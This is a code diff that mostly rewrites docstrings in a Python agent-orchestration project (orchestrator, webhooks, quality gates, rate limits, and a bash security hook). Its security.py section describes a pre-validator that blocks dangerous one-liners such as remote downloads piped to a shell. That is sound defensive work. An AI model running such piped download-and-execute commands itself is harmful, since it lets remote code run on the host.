to avoid Windows subprocess errors. - - On Windows, subprocess transports may raise 'Event loop is closed' errors - during garbage collection if not properly cleaned up. + Execute the given awaitable and ensure the event loop is cleaned up on Windows to prevent "Event loop is closed" errors with subprocess transports. + + Parameters: + coro (Awaitable): The coroutine or awaitable to run. + + Returns: + The result produced by the awaited coroutine. """ if sys.platform == "win32": loop = asyncio.new_event_loop() @@ -123,7 +123,13 @@ def safe_asyncio_run(coro): def _dump_database_state(session, label: str = ""): - """Helper to dump full database state to debug log.""" + """ + Log the current feature table state (counts and feature id lists) to the module debug logger. + + Parameters: + session: SQLAlchemy session connected to the project's database used to query Feature rows. + label (str): Optional label appended to the log to provide context for the dump. + """ from api.database import Feature all_features = session.query(Feature).all() @@ -187,18 +193,17 @@ def __init__( on_output: Callable[[int, str], None] = None, on_status: Callable[[int, str], None] = None, ): - """Initialize the orchestrator. - - Args: - project_dir: Path to the project directory - max_concurrency: Maximum number of concurrent coding agents (1-5). - Also caps testing agents at the same limit. - model: Claude model to use (or None for default) - yolo_mode: Whether to run in YOLO mode (skip testing agents entirely) - testing_agent_ratio: Number of regression testing agents to maintain (0-3). - 0 = disabled, 1-3 = maintain that many testing agents running independently. - on_output: Callback for agent output (feature_id, line) - on_status: Callback for agent status changes (feature_id, status) + """ + Create a ParallelOrchestrator configured for the given project. + + Parameters: + project_dir (Path): Path to the project directory containing the database and source tree. + max_concurrency (int): Requested maximum concurrent coding agents; value is clamped to the range [1, MAX_PARALLEL_AGENTS]. + model (str | None): Name of the Claude model to use; if `None` the system default model is used. + yolo_mode (bool): If True, skip spawning testing agents. + testing_agent_ratio (int): Number of independent regression testing agents to maintain; clamped to 0–3 (0 disables testing agents). + on_output (Callable[[int, str], None] | None): Optional callback invoked with (feature_id, line) for each agent output line. + on_status (Callable[[int, str], None] | None): Optional callback invoked with (feature_id, status) when an agent's status changes. """ self.project_dir = project_dir self.max_concurrency = min(max(max_concurrency, 1), MAX_PARALLEL_AGENTS) @@ -303,7 +308,15 @@ def get_resumable_features(self) -> list[dict]: session.close() def get_ready_features(self) -> list[dict]: - """Get features with satisfied dependencies, not already running.""" + """ + Identify features whose dependencies are satisfied and that are available to run. + + Returns: + ready_features (list[dict]): A list of feature dictionaries that are ready to be executed. + The list is sorted by scheduling score (higher first), then by priority, then by id. + Features that are already passing, currently in progress, already running in this + orchestrator, or that have exceeded the maximum retry count are excluded. + """ session = self.get_session() try: # Force fresh read from database to avoid stale cached data @@ -420,24 +433,14 @@ def get_passing_count(self) -> int: session.close() def _maintain_testing_agents(self) -> None: - """Maintain the desired count of testing agents independently. - - This runs every loop iteration and spawns testing agents as needed to maintain - the configured testing_agent_ratio. Testing agents run independently from - coding agents and continuously re-test passing features to catch regressions. - - Multiple testing agents can test the same feature concurrently - this is - intentional and simplifies the architecture by removing claim coordination. - - Stops spawning when: - - YOLO mode is enabled - - testing_agent_ratio is 0 - - No passing features exist yet - - Race Condition Prevention: - - Uses placeholder pattern to reserve slot inside lock before spawning - - Placeholder ensures other threads see the reserved slot - - Placeholder is replaced with real process after spawn completes + """ + Ensure the configured number of independent testing agents are running. + + Spawns testing agents up to self.testing_agent_ratio unless YOLO mode is enabled, + testing_agent_ratio is 0, there are no passing features yet, or the global + MAX_TOTAL_AGENTS limit is reached. Each testing agent independently retests + passing features and multiple testers may exercise the same feature concurrently. + Slots are reserved atomically to avoid races while spawning processes. """ # Skip if testing is disabled if self.yolo_mode or self.testing_agent_ratio == 0: @@ -489,18 +492,21 @@ def _maintain_testing_agents(self) -> None: break # Exit on failure to avoid infinite loop def start_feature(self, feature_id: int, resume: bool = False) -> tuple[bool, str]: - """Start a single coding agent for a feature. - - Args: - feature_id: ID of the feature to start - resume: If True, resume a feature that's already in_progress from a previous session - + """ + Start a coding agent process for the specified feature, marking the feature as in-progress unless resuming. + + Parameters: + feature_id (int): ID of the feature to start. + resume (bool): If True, only allow starting if the feature is already marked in-progress from a prior run. + + Behavior: + - Validates feature existence and that it is not already complete. + - Enforces per-orchestrator concurrency and a global total-agent cap before starting. + - If `resume` is False, marks the feature as `in_progress` in the database before spawning the agent; if the agent spawn fails, the `in_progress` flag is cleared to avoid leaving the feature in a limbo state. + - On success, spawns the coding agent subprocess and registers it with the orchestrator. Testing agents are managed separately. + Returns: - Tuple of (success, message) - - Transactional State Management: - - If spawn fails after marking in_progress, we rollback the database state - - This prevents features from getting stuck in a limbo state + tuple[bool, str]: `True` and a success message when the agent was started; `False` and an explanatory message otherwise. """ with self._lock: if feature_id in self.running_coding_agents: @@ -560,7 +566,17 @@ def start_feature(self, feature_id: int, resume: bool = False) -> tuple[bool, st return True, f"Started feature {feature_id}" def _spawn_coding_agent(self, feature_id: int) -> tuple[bool, str]: - """Spawn a coding agent subprocess for a specific feature.""" + """ + Start a coding agent process for the given feature and register it with the orchestrator. + + On success this registers the subprocess in `running_coding_agents`, stores an abort event in + `abort_events`, launches a background thread to stream the agent's output, invokes the + `on_status` callback with `"running"` (if provided), and prints a start message. On failure the + feature's `in_progress` flag is cleared in the database before returning. + + Returns: + tuple[bool, str]: `(True, confirmation_message)` on successful spawn, `(False, error_message)` on failure. + """ # Create abort event abort_event = threading.Event() @@ -706,10 +722,13 @@ def _spawn_testing_agent(self, placeholder_key: int | None = None) -> tuple[bool return True, f"Started testing agent for feature #{feature_id}" async def _run_initializer(self) -> bool: - """Run initializer agent as async subprocess. - - Returns True if initialization succeeded (features were created). - Uses asyncio subprocess for non-blocking I/O. + """ + Run the project initializer agent and stream its output to the orchestrator. + + Starts the initializer subprocess, forwards its stdout lines to the orchestrator's output callback (if set) and to stdout, enforces the INITIALIZER_TIMEOUT, and kills the process on timeout. + + Returns: + bool: `True` if the initializer completed successfully (exit code 0), `False` on timeout or non-zero exit code. """ log_section(logger, "INITIALIZER PHASE") logger.info(f"[INIT] Starting initializer subprocess | project_dir={self.project_dir}") @@ -743,6 +762,11 @@ async def _run_initializer(self) -> bool: # Stream output with timeout using native async I/O try: async def stream_output(): + """ + Read lines from the initializer subprocess stdout, print each decoded line, and forward them to the orchestrator's output callback. + + Each available line is decoded and printed to stdout; if `self.on_output` is set, it is invoked with feature id 0 and the line. After the stream ends, the coroutine waits for the subprocess to exit. + """ while True: line = await proc.stdout.readline() if not line: @@ -778,7 +802,20 @@ def _read_output( abort: threading.Event, agent_type: Literal["coding", "testing"] = "coding", ): - """Read output from subprocess and emit events.""" + """ + Read a subprocess's stdout lines, forward them to the orchestrator, and finalize the agent when it exits. + + Reads lines from the subprocess stdout until the provided abort event is set or the stream ends. Each line is forwarded to the optional `on_output` callback (using `feature_id` or 0) or printed to stdout. After the subprocess exits, attempts to kill its process tree to remove any child processes, then notifies the orchestrator of agent completion. + + Parameters: + feature_id (int | None): Feature identifier associated with the agent; may be None for anonymous/testing agents. + proc (subprocess.Popen): The running subprocess whose output will be read. + abort (threading.Event): Event used to request early termination of output reading. + agent_type (Literal["coding", "testing"]): Human-readable tag used for logging and completion handling. + + Returns: + None + """ try: for line in proc.stdout: if abort.is_set(): @@ -821,15 +858,14 @@ def _signal_agent_completed(self): pass async def _wait_for_agent_completion(self, timeout: float = POLL_INTERVAL): - """Wait for an agent to complete or until timeout expires. - - This replaces fixed `asyncio.sleep(POLL_INTERVAL)` calls with event-based - waiting. When an agent completes, _signal_agent_completed() sets the event, - causing this method to return immediately. If no agent completes within - the timeout, we return anyway to check for ready features. - - Args: - timeout: Maximum seconds to wait (default: POLL_INTERVAL) + """ + Waits until a running agent completes or the timeout elapses. + + Blocks until the internal agent-completed event is set or until `timeout` seconds pass. + If the event is set, it is cleared before returning. + + Parameters: + timeout (float): Maximum seconds to wait (default: POLL_INTERVAL). """ if self._agent_completed_event is None: # Fallback if event not initialized (shouldn't happen in normal operation) @@ -852,20 +888,16 @@ def _on_agent_complete( agent_type: Literal["coding", "testing"], proc: subprocess.Popen, ): - """Handle agent completion. - - For coding agents: - - ALWAYS clears in_progress when agent exits, regardless of success/failure. - - This prevents features from getting stuck if an agent crashes or is killed. - - The agent marks features as passing BEFORE clearing in_progress, so this - is safe. - - For testing agents: - - Remove from running dict (no claim to release - concurrent testing is allowed). - - Process Cleanup: - - Ensures process is fully terminated before removing from tracking dict - - This prevents zombie processes from accumulating + """ + Handle completion of a coding or testing agent process and update orchestrator state. + + For testing agents: remove the agent entry (including placeholder slots), log completion status, and signal the main loop that an agent slot is available. + + For coding agents: stop tracking the agent and its abort event, ensure the feature's in_progress flag is cleared if the feature did not reach passing, refresh the database connection so cross-process commits are visible, increment the feature's failure count on non-zero exit codes and stop retrying once MAX_FEATURE_RETRIES is reached, invoke the optional on_status callback with the final status, print/log the final status, and signal the main loop that an agent slot is available. + + Side effects: + - Ensures the subprocess is terminated and removed from internal tracking to avoid zombie processes. + - Commits to the database may be observed by recreating the engine/session after agent completion. """ # Ensure process is fully terminated (should already be done by wait() in _read_output) if proc.poll() is None: @@ -953,7 +985,11 @@ def _on_agent_complete( # not here when they complete. This ensures 1:1 ratio and proper termination. def stop_feature(self, feature_id: int) -> tuple[bool, str]: - """Stop a running coding agent and all its child processes.""" + """ + Stop a running coding agent and its child processes. + + Attempts to signal the agent to abort and kills its process tree. Returns a tuple (success, message): `True` if a stop was initiated, `False` if the feature was not running; `message` describes the outcome. + """ with self._lock: if feature_id not in self.running_coding_agents: return False, "Feature not running" @@ -974,7 +1010,11 @@ def stop_feature(self, feature_id: int) -> tuple[bool, str]: return True, f"Stopped feature {feature_id}" def stop_all(self) -> None: - """Stop all running agents (coding and testing).""" + """ + Stop all running agents and persist database state. + + Sets the orchestrator as not running, stops any active coding agents, attempts to terminate all active testing agent processes (skipping placeholder slots), and performs a WAL checkpoint to ensure database changes are persisted. + """ self.is_running = False # Stop coding agents @@ -1002,10 +1042,10 @@ def stop_all(self) -> None: self._cleanup_database() def _cleanup_database(self) -> None: - """Cleanup database connections and checkpoint WAL. - - This ensures all database changes are persisted to the main database file - before exit, preventing corruption when multiple agents have been running. + """ + Perform a WAL checkpoint and dispose the database engine to ensure on-disk persistence and release connections. + + Attempts to checkpoint the project's write-ahead log and logs whether the checkpoint succeeded. If an engine instance exists, disposes it to release pooled connections; any errors during disposal are logged. """ logger.info("[CLEANUP] Starting database cleanup") @@ -1045,10 +1085,12 @@ def _log_startup_info(self) -> None: async def _run_initialization_phase(self) -> bool: """ - Run initialization phase if no features exist. - + Ensure the project has features by running the initializer when none are present. + + If no features exist for the configured project, runs the initializer agent, verifies that features were created, recreates the database connection so subsequent work sees the initializer's commits, and logs a brief post-initialization state. + Returns: - True if initialization succeeded or was not needed, False if failed. + True if initialization succeeded or was not needed, `False` otherwise. """ if has_features(self.project_dir): return True @@ -1102,11 +1144,11 @@ async def _run_initialization_phase(self) -> bool: async def _handle_resumable_features(self, slots: int) -> bool: """ - Handle resuming features from previous session. - - Args: - slots: Number of available slots for new agents. - + Resume features left in progress from a previous session up to the provided number of available slots. + + Parameters: + slots (int): Number of available agent slots to start resumable features. + Returns: True if any features were resumed, False otherwise. """ @@ -1192,12 +1234,10 @@ async def _wait_for_all_agents(self) -> None: await self._wait_for_agent_completion(timeout=1.0) async def run_loop(self): - """Main orchestration loop. - - This method coordinates multiple coding and testing agents: - 1. Initialization phase: Run initializer if no features exist - 2. Feature loop: Continuously spawn agents to work on features - 3. Cleanup: Wait for all agents to complete + """ + Run the orchestrator main loop to manage initialization, feature processing, and cleanup. + + Configures async signaling and logging, performs an optional initialization phase, drives the feature scheduling loop until no work remains, waits for all active agents to finish, and performs database cleanup. """ self.is_running = True @@ -1228,7 +1268,16 @@ async def run_loop(self): print("Orchestrator finished.", flush=True) async def _run_feature_loop(self) -> None: - """Run the main feature processing loop.""" + """ + Orchestrates the main feature processing loop, driving feature resumption, scheduling, and lifecycle until work is finished. + + Runs until the orchestrator is stopped or all features are complete. While active it: + - Detects and reports features that can be resumed from a previous session. + - Ensures a steady set of testing agents are running. + - Schedules resumable features first, then ready features, respecting the configured concurrency limits. + - Waits for agent completion when capacity is reached and continues scheduling as capacity becomes available. + On unexpected errors the loop yields to pending agent completion before retrying or shutting down. + """ # Check for features to resume from previous session resumable = self.get_resumable_features() if resumable: @@ -1287,7 +1336,12 @@ async def _run_feature_loop(self) -> None: await self._wait_for_agent_completion() def _log_loop_iteration(self, loop_iteration: int) -> None: - """Log debug information for the current loop iteration.""" + """ + Emit periodic debug logs about the orchestrator loop status and, every fifth iteration (and on the first iteration), write a full database state dump. + + Parameters: + loop_iteration (int): Current loop iteration index used to determine logging frequency and when to perform the database dump. + """ if loop_iteration <= 10 or loop_iteration % 5 == 0: with self._lock: running_ids = list(self.running_coding_agents.keys()) @@ -1306,7 +1360,20 @@ def _log_loop_iteration(self, loop_iteration: int) -> None: session.close() def get_status(self) -> dict: - """Get current orchestrator status.""" + """ + Return a snapshot of the orchestrator's current runtime state. + + Returns: + status (dict): Mapping with the following keys: + - "running_features": list[int] of feature IDs currently handled by coding agents. + - "coding_agent_count": int count of active coding agents. + - "testing_agent_count": int count of active testing agents (placeholders excluded). + - "count": int legacy alias for `coding_agent_count`. + - "max_concurrency": int configured maximum concurrent coding agents. + - "testing_agent_ratio": int configured number of testing agents to maintain. + - "is_running": bool indicating whether the orchestrator loop is active. + - "yolo_mode": bool indicating whether regression testing is disabled. + """ with self._lock: return { "running_features": list(self.running_coding_agents.keys()), @@ -1353,7 +1420,13 @@ async def run_parallel_orchestrator( def main(): - """Main entry point for parallel orchestration.""" + """ + Run the Parallel Feature Orchestrator from the command line. + + Parses command-line arguments (project directory or registered project name, max concurrency, model, YOLO mode, and testing-agent ratio), + resolves the project path, and starts the orchestrator loop. Exits with a non-zero status if the project path cannot be resolved and + prints a message when interrupted by the user. + """ import argparse from dotenv import load_dotenv @@ -1428,4 +1501,4 @@ def main(): if __name__ == "__main__": - main() + main() \ No newline at end of file diff --git a/progress.py b/progress.py index 6919997..a7ac9d9 100644 --- a/progress.py +++ b/progress.py @@ -31,24 +31,27 @@ def send_session_event( error_message: str | None = None, extra: dict | None = None ) -> None: - """Send a session event to the webhook. - + """ + Send a structured session or feature event to the configured webhook for the given project. + + The payload always includes `event`, `project` (directory name), and an ISO 8601 UTC `timestamp`. Optional fields added when provided: `feature_id`, `feature_name`, `agent_type`, `session_num`, `error_message` (truncated to 2048 characters), and any key/value pairs from `extra`. If no webhook URL is configured, the call is a no-op; webhook delivery errors are ignored. + Events: - session_started: Agent session began - session_ended: Agent session completed - feature_started: Feature was claimed for work - feature_passed: Feature was marked as passing - feature_failed: Feature was marked as failing - - Args: - event: Event type name - project_dir: Project directory - feature_id: Optional feature ID for feature events - feature_name: Optional feature name for feature events - agent_type: Optional agent type (initializer, coding, testing) - session_num: Optional session number - error_message: Optional error message for failure events - extra: Optional additional payload data + + Parameters: + event (str): Event type name. + project_dir (Path): Project directory; `project` in the payload is derived from its name. + feature_id (int | None): Optional feature ID for feature-related events. + feature_name (str | None): Optional feature name for feature-related events. + agent_type (str | None): Optional agent type (e.g., "initializer", "coding", "testing"). + session_num (int | None): Optional session number. + error_message (str | None): Optional error message; long messages are truncated. + extra (dict | None): Optional additional key/value data to merge into the payload. """ if not WEBHOOK_URL: return # Webhook not configured @@ -87,17 +90,14 @@ def send_session_event( def has_features(project_dir: Path) -> bool: """ - Check if the project has features in the database. - - This is used to determine if the initializer agent needs to run. - We check the database directly (not via API) since the API server - may not be running yet when this check is performed. - - Returns True if: - - features.db exists AND has at least 1 feature, OR - - feature_list.json exists (legacy format) - - Returns False if no features exist (initializer needs to run). + Determine whether the project contains any features (legacy JSON or SQLite). + + Checks for a legacy feature_list.json file, then for a features.db SQLite database + and whether its `features` table contains at least one row. + + Returns: + True if the project has at least one feature (legacy JSON present or `features` + table contains one or more rows), False otherwise. """ # Check legacy JSON file first json_file = project_dir / "feature_list.json" @@ -123,15 +123,15 @@ def has_features(project_dir: Path) -> bool: def count_passing_tests(project_dir: Path) -> tuple[int, int, int]: """ - Count passing, in_progress, and total tests via direct database access. - - Uses robust connection with WAL mode and retry logic. - - Args: - project_dir: Directory containing the project - + Return counts of passing, in-progress, and total features from the project's features database. + + If the features database is missing, returns (0, 0, 0). Handles legacy schemas that lack an `in_progress` column by treating in-progress as 0. On detected database corruption, prints a diagnostic message and returns zeros. + + Parameters: + project_dir (Path): Directory containing the project's `features.db`. + Returns: - (passing_count, in_progress_count, total_count) + tuple[int, int, int]: `(passing, in_progress, total)` counts of features. """ db_file = project_dir / "features.db" if not db_file.exists(): @@ -185,15 +185,13 @@ def count_passing_tests(project_dir: Path) -> tuple[int, int, int]: def get_all_passing_features(project_dir: Path) -> list[dict]: """ - Get all passing features for webhook notifications. - - Uses robust connection with WAL mode and retry logic. - - Args: - project_dir: Directory containing the project - + Return a list of all features marked as passing for the given project. + + Parameters: + project_dir (Path): Path to the project directory containing `features.db`. + Returns: - List of dicts with id, category, name for each passing feature + list[dict]: A list of dictionaries, each with keys `id`, `category`, and `name` for a passing feature. Returns an empty list if the database is missing or an error occurs. """ db_file = project_dir / "features.db" if not db_file.exists(): @@ -315,4 +313,4 @@ def print_progress_summary(project_dir: Path) -> None: print(f"\nProgress: {', '.join(status_parts)}") send_progress_webhook(passing, total, project_dir) else: - print("\nProgress: No features in database yet") + print("\nProgress: No features in database yet") \ No newline at end of file diff --git a/quality_gates.py b/quality_gates.py index 6f03e85..f51c351 100644 --- a/quality_gates.py +++ b/quality_gates.py @@ -38,15 +38,18 @@ class QualityGateResult(TypedDict): def _run_command(cmd: list[str], cwd: Path, timeout: int = 60) -> tuple[int, str, int]: """ - Run a command and return (exit_code, output, duration_ms). - - Args: - cmd: Command and arguments as a list - cwd: Working directory - timeout: Timeout in seconds - + Execute a shell command in the given working directory and return its result and duration. + + Parameters: + cmd (list[str]): Command and arguments to execute. + cwd (Path): Working directory where the command runs. + timeout (int): Maximum time in seconds to allow the command to run. + Returns: - (exit_code, combined_output, duration_ms) + tuple[int, str, int]: (exit_code, combined_output, duration_ms) + - exit_code: process exit code; `124` if the command timed out, `127` if the executable was not found, `1` for other internal errors. + - combined_output: stdout and stderr concatenated and trimmed of surrounding whitespace. + - duration_ms: elapsed time in milliseconds measuring command execution (or until timeout/exception). """ import time start = time.time() @@ -102,10 +105,20 @@ def _detect_js_linter(project_dir: Path) -> tuple[str, list[str]] | None: def _detect_python_linter(project_dir: Path) -> tuple[str, list[str]] | None: """ - Detect the Python linter to use. - + Detects an available Python linter for the given project. + + Checks in this order and returns the first match: + 1. `ruff` available on PATH -> ("ruff", ["ruff", "check", "."]) + 2. `flake8` available on PATH -> ("flake8", ["flake8", "."]) + 3. `venv/bin/ruff` inside the project directory -> ("ruff", [venv_path, "check", "."]) + 4. `venv/bin/flake8` inside the project directory -> ("flake8", [venv_path, "."]) + + Parameters: + project_dir (Path): Path to the project root where a virtual environment may exist. + Returns: - (name, command) tuple, or None if no linter detected + tuple[str, list[str]] | None: A (name, command) tuple where `name` is the linter identifier + and `command` is the argument list to run it, or `None` if no linter is detected. """ # Check for ruff if shutil.which("ruff"): @@ -129,10 +142,10 @@ def _detect_python_linter(project_dir: Path) -> tuple[str, list[str]] | None: def _detect_type_checker(project_dir: Path) -> tuple[str, list[str]] | None: """ - Detect the type checker to use. - + Select an appropriate TypeScript or Python type checker for the given project and provide the command to invoke it. + Returns: - (name, command) tuple, or None if no type checker detected + `(name, command)` tuple where `name` is the detected checker ('tsc' or 'mypy') and `command` is the CLI invocation as a list of strings, or `None` if no checker is found. """ # TypeScript if (project_dir / "tsconfig.json").exists(): @@ -154,15 +167,19 @@ def _detect_type_checker(project_dir: Path) -> tuple[str, list[str]] | None: def run_lint_check(project_dir: Path) -> QualityCheckResult: """ - Run lint check on the project. - - Automatically detects the appropriate linter based on project type. - - Args: - project_dir: Path to the project directory - + Detects a JavaScript/TypeScript or Python linter for the given project, runs it, and returns a structured lint result. + + Detection tries JS/TS linters first, then Python linters. If no linter is found the check is skipped and reported as passed. Linter output is truncated to 5000 characters with a "\n... (truncated)" suffix when longer. + + Parameters: + project_dir (Path): Path to the project root used to detect and execute the linter. + Returns: - QualityCheckResult with lint results + QualityCheckResult: A mapping with: + - name: descriptive name of the check (e.g., "lint (eslint)" or "lint"), + - passed: `true` if the linter exited with code 0 or the check was skipped, + - output: the linter output, "No issues found" when empty, or a skip message, + - duration_ms: execution duration in milliseconds (0 when skipped). """ # Try JS/TS linter first linter = _detect_js_linter(project_dir) @@ -195,15 +212,20 @@ def run_lint_check(project_dir: Path) -> QualityCheckResult: def run_type_check(project_dir: Path) -> QualityCheckResult: """ - Run type check on the project. - - Automatically detects the appropriate type checker based on project type. - - Args: - project_dir: Path to the project directory - + Run a type checker for the given project and return its result. + + Detects an appropriate type checker for the project; if none is found the check is skipped. + + Parameters: + project_dir (Path): Project root directory in which to detect and run the type checker. + Returns: - QualityCheckResult with type check results + QualityCheckResult: A dict with fields: + - name (str): Identifier for the check (e.g. "type_check (mypy)"). + - passed (bool): `true` if the checker exited with code 0, `false` otherwise. + - output (str): Combined stdout/stderr from the checker, or a message such as + "No type checker detected, skipping type check" or "No type errors found". + - duration_ms (int): Execution duration in milliseconds (0 for skipped checks). """ checker = _detect_type_checker(project_dir) @@ -236,15 +258,21 @@ def run_custom_script( explicit_config: bool = False, ) -> QualityCheckResult | None: """ - Run a custom quality check script. - - Args: - project_dir: Path to the project directory - script_path: Path to the script (relative to project), defaults to .autocoder/quality-checks.sh - explicit_config: If True, user explicitly configured this script, so missing = error - + Run a project-specific custom quality-check shell script and return its result. + + If `script_path` is omitted, the default ".autocoder/quality-checks.sh" is used. If the resolved script does not exist: + - returns `None` when the default script is missing and the script was not explicitly configured; + - returns a failed `QualityCheckResult` when the user explicitly provided or enabled a script and it is missing. + + The function attempts to make the script executable, runs it via `bash` with a 300-second timeout, truncates output longer than 10000 characters, and treats an empty output as a successful completion message. + + Parameters: + project_dir (Path): Path to the project root containing the script. + script_path (str | None): Relative path to the custom script within the project. Defaults to ".autocoder/quality-checks.sh". + explicit_config (bool): When True, a missing script is considered a configuration error and returns a failing result. + Returns: - QualityCheckResult, or None if default script doesn't exist + QualityCheckResult | None: A result dictionary with keys `name`, `passed`, `output`, and `duration_ms`, or `None` if the default script was absent and not explicitly configured. """ user_configured = script_path is not None or explicit_config @@ -297,17 +325,21 @@ def verify_quality( custom_script_path: str | None = None, ) -> QualityGateResult: """ - Run all configured quality checks. - - Args: - project_dir: Path to the project directory - run_lint: Whether to run lint check - run_type_check: Whether to run type check - run_custom: Whether to run custom script - custom_script_path: Path to custom script (optional) - + Run the enabled quality checks for a project and return an aggregated result. + + Parameters: + project_dir (Path): Path to the project directory to run checks in. + run_lint (bool): If True, run the lint check. + run_type_check (bool): If True, run the type checker. + run_custom (bool): If True, run the custom script check. + custom_script_path (str | None): Path to a custom quality script; if provided, the script is treated as explicitly configured (missing script is treated as a failure). + Returns: - QualityGateResult with all check results + QualityGateResult: Aggregated result containing: + - passed: `true` if all executed checks passed, `false` otherwise. + - timestamp: UTC ISO-formatted time when checks completed. + - checks: mapping of individual check names to their QualityCheckResult. + - summary: a short human-readable summary of passed/failed checks. """ checks: dict[str, QualityCheckResult] = {} all_passed = True @@ -355,13 +387,18 @@ def verify_quality( def load_quality_config(project_dir: Path) -> dict: """ - Load quality gates configuration from .autocoder/config.json. - - Args: - project_dir: Path to the project directory - + Load and merge quality gates configuration from .autocoder/config.json with sensible defaults. + + If the file is missing or cannot be read/parsed, the default configuration is returned. + + Parameters: + project_dir (Path): Project root directory used to locate `.autocoder/config.json`. + Returns: - Quality gates config dict with defaults applied + dict: Configuration with keys: + - "enabled" (bool) + - "strict_mode" (bool) + - "checks" (dict) mapping check names ("lint", "type_check", "unit_tests", "custom_script") to their configured values or defaults. """ defaults = { "enabled": True, @@ -393,4 +430,4 @@ def load_quality_config(project_dir: Path) -> dict: return result except (json.JSONDecodeError, OSError): - return defaults + return defaults \ No newline at end of file diff --git a/rate_limit_utils.py b/rate_limit_utils.py index 6d817f3..cc900e3 100644 --- a/rate_limit_utils.py +++ b/rate_limit_utils.py @@ -25,19 +25,15 @@ def parse_retry_after(error_message: str) -> Optional[int]: """ - Extract retry-after seconds from various error message formats. - - Handles common formats: - - "Retry-After: 60" - - "retry after 60 seconds" - - "try again in 5 seconds" - - "30 seconds remaining" - - Args: - error_message: The error message to parse - + Extracts a retry-after duration in seconds from an error message. + + Supports common textual formats such as "Retry-After: 60", "try again in 5 seconds", and "30 seconds remaining". + + Parameters: + error_message (str): The error message to inspect. + Returns: - Seconds to wait, or None if not parseable. + int | None: The number of seconds extracted from the message, or `None` if no duration is found. """ patterns = [ r"retry.?after[:\s]+(\d+)\s*(?:seconds?)?", @@ -55,15 +51,12 @@ def parse_retry_after(error_message: str) -> Optional[int]: def is_rate_limit_error(error_message: str) -> bool: """ - Detect if an error message indicates a rate limit. - - Checks against common rate limit patterns from various API providers. - - Args: - error_message: The error message to check - + Determine whether an error message indicates a rate limit. + + Checks the message against known rate-limit indicator phrases. + Returns: - True if the message indicates a rate limit, False otherwise. + `true` if the message indicates a rate limit, `false` otherwise. """ error_lower = error_message.lower() - return any(pattern in error_lower for pattern in RATE_LIMIT_PATTERNS) + return any(pattern in error_lower for pattern in RATE_LIMIT_PATTERNS) \ No newline at end of file diff --git a/security.py b/security.py index eada904..44dc99b 100644 --- a/security.py +++ b/security.py @@ -49,12 +49,14 @@ class DeniedCommand: def record_denied_command(command: str, reason: str, project_dir: Optional[Path] = None) -> None: """ - Record a denied command for later review. - - Args: - command: The command that was denied - reason: The reason it was denied - project_dir: Optional project directory context + Record a denied shell command event for auditing and review. + + Stores a timestamped denial entry in an in-memory, bounded history and logs a redacted preview with deterministic hashes to avoid leaking secrets. + + Parameters: + command (str): The full command string that was denied. + reason (str): Human-readable reason or rule identifier explaining the denial. + project_dir (Optional[Path]): Optional project directory associated with the command; stored as a string when provided. """ denied = DeniedCommand( timestamp=datetime.now(timezone.utc).isoformat(), @@ -72,6 +74,19 @@ def record_denied_command(command: str, reason: str, project_dir: Optional[Path] # Create redacted preview (first 20 + last 20 chars with mask in between) def redact_string(s: str, max_preview: int = 20) -> str: + """ + Return a redacted preview of a string suitable for logging. + + Parameters: + s (str): The input string to redact. + max_preview (int): Number of characters to keep at each end when redacting. Defaults to 20. + + Returns: + str: The input with its middle replaced by "..." when its length exceeds max_preview * 2. + - If len(s) <= max_preview, returns s unchanged. + - If max_preview < len(s) <= max_preview * 2, returns the first max_preview characters followed by "...". + - If len(s) > max_preview * 2, returns the first max_preview characters, "...", then the last max_preview characters. + """ if len(s) <= max_preview * 2: return s[:max_preview] + "..." if len(s) > max_preview else s return f"{s[:max_preview]}...{s[-max_preview:]}" @@ -112,10 +127,10 @@ def get_denied_commands(limit: int = 50) -> list[dict]: def clear_denied_commands() -> int: """ - Clear all recorded denied commands. - + Clear all stored denied command records. + Returns: - Number of commands that were cleared + int: Number of denied commands that were removed. """ with _denied_commands_lock: count = len(_denied_commands) @@ -163,21 +178,15 @@ def clear_denied_commands() -> int: def pre_validate_command_safety(command: str) -> tuple[bool, str]: """ - Pre-validate a command string for dangerous shell patterns. - - This check runs BEFORE the allowlist check and blocks patterns that are - almost always malicious (e.g., curl piped directly to shell). - - This function intentionally allows common shell features like $(), ``, - source, and export because they are needed for legitimate programming - workflows. The allowlist system provides the primary security layer. - - Args: - command: The raw command string to validate - + Pre-validate a shell command for known dangerous one-liner patterns. + + Scans the raw command for high-risk patterns (e.g., remote download piped to an interpreter or null-byte injections) and flags matches before allowlist checks. Common shell constructs used in legitimate workflows (subshells, sourcing, exports) are not considered dangerous by this function. + + Parameters: + command (str): The raw shell command to inspect. + Returns: - Tuple of (is_safe, error_message). If is_safe is False, error_message - describes the dangerous pattern that was detected. + tuple[bool, str]: `True` if no dangerous pattern was detected, `False` otherwise; the string contains a short description of the detected dangerous pattern when `False`, or an empty string when `True`. """ if not command: return True, "" @@ -599,10 +608,16 @@ def get_org_config_path() -> Path: def load_org_config() -> Optional[dict]: """ - Load organization-level config from ~/.autocoder/config.yaml. - + Load organization-level configuration from ~/.autocoder/config.yaml. + + Parses and validates the YAML structure and normalizes `pkill_processes` when present. + Requires a top-level mapping containing a `"version"` key. If present, `"allowed_commands"` + must be a list of mappings each with a non-empty `"name"`; `"blocked_commands"` must be a + list of strings; and `"pkill_processes"` must be a list of valid process names matching the + allowed process-name pattern. + Returns: - Dict with parsed org config, or None if file doesn't exist or is invalid + dict or None: Parsed and normalized organization config, or `None` if the file is missing or invalid. """ config_path = get_org_config_path() @@ -687,13 +702,12 @@ def load_org_config() -> Optional[dict]: def load_project_commands(project_dir: Path) -> Optional[dict]: """ - Load allowed commands from project-specific YAML config. - - Args: - project_dir: Path to the project directory - + Load and validate the project-specific allowed-commands configuration from .autocoder/allowed_commands.yaml. + + The file must be a YAML mapping containing a required `version` key and an optional `commands` list (each entry must be a dict with a non-empty `name`). Enforces a maximum of 100 command entries. If present, `pkill_processes` must be a list of valid process names and will be normalized. + Returns: - Dict with parsed YAML config, or None if file doesn't exist or is invalid + Parsed configuration dict if valid; `None` if the file is missing, cannot be read/parsed, or fails validation. """ config_path = project_dir.resolve() / ".autocoder" / "allowed_commands.yaml" @@ -945,24 +959,17 @@ def is_command_allowed(command: str, allowed_commands: set[str]) -> bool: async def bash_security_hook(input_data, tool_use_id=None, context=None): """ - Pre-tool-use hook that validates bash commands using an allowlist. - - Only commands in ALLOWED_COMMANDS and project-specific commands are permitted. - - Security layers (in order): - 1. Pre-validation: Block dangerous shell patterns (command substitution, etc.) - 2. Command extraction: Parse command into individual command names - 3. Blocklist check: Reject hardcoded dangerous commands - 4. Allowlist check: Only permit explicitly allowed commands - 5. Extra validation: Additional checks for sensitive commands (pkill, chmod) - - 